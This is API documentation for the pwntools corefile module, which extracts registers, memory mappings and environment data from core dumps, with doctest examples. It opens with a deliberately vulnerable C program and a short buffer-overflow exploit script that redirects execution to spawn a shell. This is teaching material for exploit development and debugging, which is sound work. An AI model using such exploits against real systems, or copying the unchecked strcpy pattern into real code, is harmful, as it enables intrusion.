pwnlib.elf.corefile
— Core Files¶
Read information from Core Dumps.
Core dumps are extremely useful when writing exploits, even outside of the normal act of debugging things.
Using Corefiles to Automate Exploitation¶
For example, if you have a trivial buffer overflow and don’t want to open up a debugger or calculate offsets, you can use a generated core dump to extract the relevant information.
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
void win() {
system("sh");
}
int main(int argc, char** argv) {
char buffer[64];
strcpy(buffer, argv[1]);
}
$ gcc crash.c -m32 -o crash -fno-stack-protector
from pwn import *
# Generate a cyclic pattern so that we can auto-find the offset
payload = cyclic(128)
# Run the process once so that it crashes
process(['./crash', payload]).wait()
# Get the core dump
core = Coredump('./core')
# Our cyclic pattern should have been used as the crashing address
assert pack(core.eip) in payload
# Cool! Now let's just replace that value with the address of 'win'
crash = ELF('./crash')
payload = fit({
cyclic_find(core.eip): crash.symbols.win
})
# Get a shell!
io = process(['./crash', payload])
io.sendline('id')
print io.recvline()
# uid=1000(user) gid=1000(user) groups=1000(user)
Module Members¶
-
class
pwnlib.elf.corefile.
Corefile
(*a, **kw)[source]¶ Bases:
pwnlib.elf.elf.ELF
Enhances the inforation available about a corefile (which is an extension of the ELF format) by permitting extraction of information about the mapped data segments, and register state.
Registers can be accessed directly, e.g. via
core_obj.eax
and enumerated viaCorefile.registers
.Parameters: core – Path to the core file. Alternately, may be a process
instance, and the core file will be located automatically.>>> c = Corefile('./core') >>> hex(c.eax) '0xfff5f2e0' >>> c.registers {'eax': 4294308576, 'ebp': 1633771891, 'ebx': 4151132160, 'ecx': 4294311760, 'edi': 0, 'edx': 4294308700, 'eflags': 66050, 'eip': 1633771892, 'esi': 0, 'esp': 4294308656, 'orig_eax': 4294967295, 'xcs': 35, 'xds': 43, 'xes': 43, 'xfs': 0, 'xgs': 99, 'xss': 43}
Mappings can be iterated in order via
Corefile.mappings
.>>> Corefile('./core').mappings [Mapping('/home/user/pwntools/crash', start=0x8048000, stop=0x8049000, size=0x1000, flags=0x5, page_offset=0x0), Mapping('/home/user/pwntools/crash', start=0x8049000, stop=0x804a000, size=0x1000, flags=0x4, page_offset=0x1), Mapping('/home/user/pwntools/crash', start=0x804a000, stop=0x804b000, size=0x1000, flags=0x6, page_offset=0x2), Mapping(None, start=0xf7528000, stop=0xf7529000, size=0x1000, flags=0x6, page_offset=0x0), Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf7529000, stop=0xf76d1000, size=0x1a8000, flags=0x5, page_offset=0x0), Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf76d1000, stop=0xf76d2000, size=0x1000, flags=0x0, page_offset=0x1a8), Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf76d2000, stop=0xf76d4000, size=0x2000, flags=0x4, page_offset=0x1a9), Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf76d4000, stop=0xf76d5000, size=0x1000, flags=0x6, page_offset=0x1aa), Mapping(None, start=0xf76d5000, stop=0xf76d8000, size=0x3000, flags=0x6, page_offset=0x0), Mapping(None, start=0xf76ef000, stop=0xf76f1000, size=0x2000, flags=0x6, page_offset=0x0), Mapping('[vdso]', start=0xf76f1000, stop=0xf76f2000, size=0x1000, flags=0x5, page_offset=0x0), Mapping('/lib/i386-linux-gnu/ld-2.19.so', start=0xf76f2000, stop=0xf7712000, size=0x20000, flags=0x5, page_offset=0x0), Mapping('/lib/i386-linux-gnu/ld-2.19.so', start=0xf7712000, stop=0xf7713000, size=0x1000, flags=0x4, page_offset=0x20), Mapping('/lib/i386-linux-gnu/ld-2.19.so', start=0xf7713000, stop=0xf7714000, size=0x1000, flags=0x6, page_offset=0x21), Mapping('[stack]', start=0xfff3e000, stop=0xfff61000, size=0x23000, flags=0x6, page_offset=0x0)]
Example
The Linux kernel may not overwrite an existing core-file.
>>> if os.path.exists('core'): os.unlink('core')
Let’s build an example binary which should eat
R0=0xdeadbeef
andPC=0xcafebabe
.If we run the binary and then wait for it to exit, we can get its core file.
>>> context.clear(arch='arm') >>> shellcode = shellcraft.mov('r0', 0xdeadbeef) >>> shellcode += shellcraft.mov('r1', 0xcafebabe) >>> shellcode += 'bx r1' >>> address = 0x41410000 >>> elf = ELF.from_assembly(shellcode, vma=address) >>> io = elf.process(env={'HELLO': 'WORLD'}) >>> io.poll(block=True) -11
You can specify a full path a la
Corefile('/path/to/core')
, but you can also just access theprocess.corefile
attribute.>>> core = io.corefile
The core file has a
Corefile.exe
property, which is aMapping
object. Each mapping can be accessed with virtual addresses via subscript, or contents can be examined via theMapping.data
attribute.>>> core.exe.address == address True
The core file also has registers which can be accessed direclty. Pseudo-registers
pc
andsp
are available on all architectures, to make writing architecture-agnostic code more simple.>>> core.pc == 0xcafebabe True >>> core.r0 == 0xdeadbeef True >>> core.sp == core.r13 True
We may not always know which signal caused the core dump, or what address caused a segmentation fault. Instead of accessing registers directly, we can also extract this information from the core dump.
On QEMU-generated core dumps, this information is unavailable, so we substitute the value of PC. In our example, that’s correct anyway.
>>> core.fault_addr == 0xcafebabe True >>> core.signal 11
Core files can also be generated from running processes. This requires GDB to be installed, and can only be done with native processes. Getting a “complete” corefile requires GDB 7.11 or better.
>>> elf = ELF('/bin/bash') >>> context.clear(binary=elf) >>> io = process(elf.path, env={'HELLO': 'WORLD'}) >>> core = io.corefile
Data can also be extracted directly from the corefile.
>>> core.exe[elf.address:elf.address+4] '\x7fELF' >>> core.exe.data[:4] '\x7fELF'
Various other mappings are available by name. On Linux, 32-bit Intel binaries should have a VDSO section. Since our ELF is statically linked, there is no libc which gets mapped.
>>> core.vdso.data[:4] '\x7fELF' >>> core.libc Mapping('/lib/x86_64-linux-gnu/libc-...', ...)
The corefile also contains a
Corefile.stack
property, which gives us direct access to the stack contents. On Linux, the very top of the stack should contain two pointer-widths of NULL bytes, preceded by the NULL- terminated path to the executable (as passed via the first arg toexecve
).>>> stack_end = core.exe.name >>> stack_end += '\x00' * (1+8) >>> core.stack.data.endswith(stack_end) True >>> len(core.stack.data) == core.stack.size True
We can also directly access the environment variables and arguments.
>>> 'HELLO' in core.env True >>> core.getenv('HELLO') 'WORLD' >>> core.argc 1 >>> core.argv[0] in core.stack True >>> core.string(core.argv[0]) == core.exe.path True
Corefiles can also be pulled from remote machines via SSH!
>>> s = ssh('travis', 'example.pwnme') >>> _ = s.set_working_directory() >>> elf = ELF.from_assembly(shellcraft.trap()) >>> path = s.upload(elf.path) >>> _ =s.chmod('+x', path) >>> io = s.process(path) >>> io.wait() -1 >>> io.corefile.signal == signal.SIGTRAP True
Make sure fault_addr synthesis works for amd64 on ret.
>>> context.clear(arch='amd64') >>> elf = ELF.from_assembly('push 1234; ret') >>> io = elf.process() >>> io.wait() >>> io.corefile.fault_addr 1234
Tests:
These are extra tests not meant to serve as examples.
Corefile.getenv() works correctly, even if the environment variable’s value contains embedded ‘=’. Corefile is able to find the stack, even if the stack pointer doesn’t point at the stack.
>>> elf = ELF.from_assembly(shellcraft.crash()) >>> io = elf.process(env={'FOO': 'BAR=BAZ'}) >>> io.wait() >>> core = io.corefile >>> core.getenv('FOO') 'BAR=BAZ' >>> core.sp == 0 True >>> core.sp in core.stack False
Corefile gracefully handles the stack being filled with garbage, including argc / argv / envp being overwritten.
>>> context.clear(arch='i386') >>> assembly = ''' ... LOOP: ... mov dword ptr [esp], 0x41414141 ... pop eax ... jmp LOOP ... ''' >>> elf = ELF.from_assembly(assembly) >>> io = elf.process() >>> io.wait() >>> core = io.corefile [!] End of the stack is corrupted, skipping stack parsing (got: 4141414141414141) >>> core.argc, core.argv, core.env (0, [], {}) >>> core.stack.data.endswith('AAAA') True >>> core.fault_addr == core.sp True
-
getenv
(name) → int[source]¶ Read an environment variable off the stack, and return its contents.
Parameters: name (str) – Name of the environment variable to read. Returns: str
– The contents of the environment variable.Example
>>> elf = ELF.from_assembly(shellcraft.trap()) >>> io = elf.process(env={'GREETING': 'Hello!'}) >>> io.wait() >>> io.corefile.getenv('GREETING') 'Hello!'
-
env
= None[source]¶ Environment variables read from the stack. Keys are the environment variable name, values are the memory address of the variable.
Note: Use with the
ELF.string()
method to extract them.- Note: If FOO=BAR is in the environment, self.env[‘FOO’] is the
- address of the string “BARx00”.
Type: dict
-
fault_addr
[source]¶ - Address which generated the fault, for the signals
- SIGILL, SIGFPE, SIGSEGV, SIGBUS. This is only available in native core dumps created by the kernel. If the information is unavailable, this returns the address of the instruction pointer.
Example
>>> elf = ELF.from_assembly('mov eax, 0xdeadbeef; jmp eax', arch='i386') >>> io = elf.process() >>> io.wait() >>> io.corefile.fault_addr == io.corefile.eax == 0xdeadbeef True
Type: int
-
maps
[source]¶ A printable string which is similar to /proc/xx/maps.
>>> print Corefile('./core').maps 8048000-8049000 r-xp 1000 /home/user/pwntools/crash 8049000-804a000 r--p 1000 /home/user/pwntools/crash 804a000-804b000 rw-p 1000 /home/user/pwntools/crash f7528000-f7529000 rw-p 1000 None f7529000-f76d1000 r-xp 1a8000 /lib/i386-linux-gnu/libc-2.19.so f76d1000-f76d2000 ---p 1000 /lib/i386-linux-gnu/libc-2.19.so f76d2000-f76d4000 r--p 2000 /lib/i386-linux-gnu/libc-2.19.so f76d4000-f76d5000 rw-p 1000 /lib/i386-linux-gnu/libc-2.19.so f76d5000-f76d8000 rw-p 3000 None f76ef000-f76f1000 rw-p 2000 None f76f1000-f76f2000 r-xp 1000 [vdso] f76f2000-f7712000 r-xp 20000 /lib/i386-linux-gnu/ld-2.19.so f7712000-f7713000 r--p 1000 /lib/i386-linux-gnu/ld-2.19.so f7713000-f7714000 rw-p 1000 /lib/i386-linux-gnu/ld-2.19.so fff3e000-fff61000 rw-p 23000 [stack]
Type: str
-
pc
[source]¶ The program counter for the Corefile
This is a cross-platform way to get e.g.
core.eip
,core.rip
, etc.Type: int
-
registers
[source]¶ All available registers in the coredump.
Example
>>> elf = ELF.from_assembly('mov eax, 0xdeadbeef;' + shellcraft.trap(), arch='i386') >>> io = elf.process() >>> io.wait() >>> io.corefile.registers['eax'] == 0xdeadbeef True
Type: dict
-
signal
[source]¶ Signal which caused the core to be dumped.
Example
>>> elf = ELF.from_assembly(shellcraft.trap()) >>> io = elf.process() >>> io.wait() >>> io.corefile.signal == signal.SIGTRAP True
>>> elf = ELF.from_assembly(shellcraft.crash()) >>> io = elf.process() >>> io.wait() >>> io.corefile.signal == signal.SIGSEGV True
Type: int
-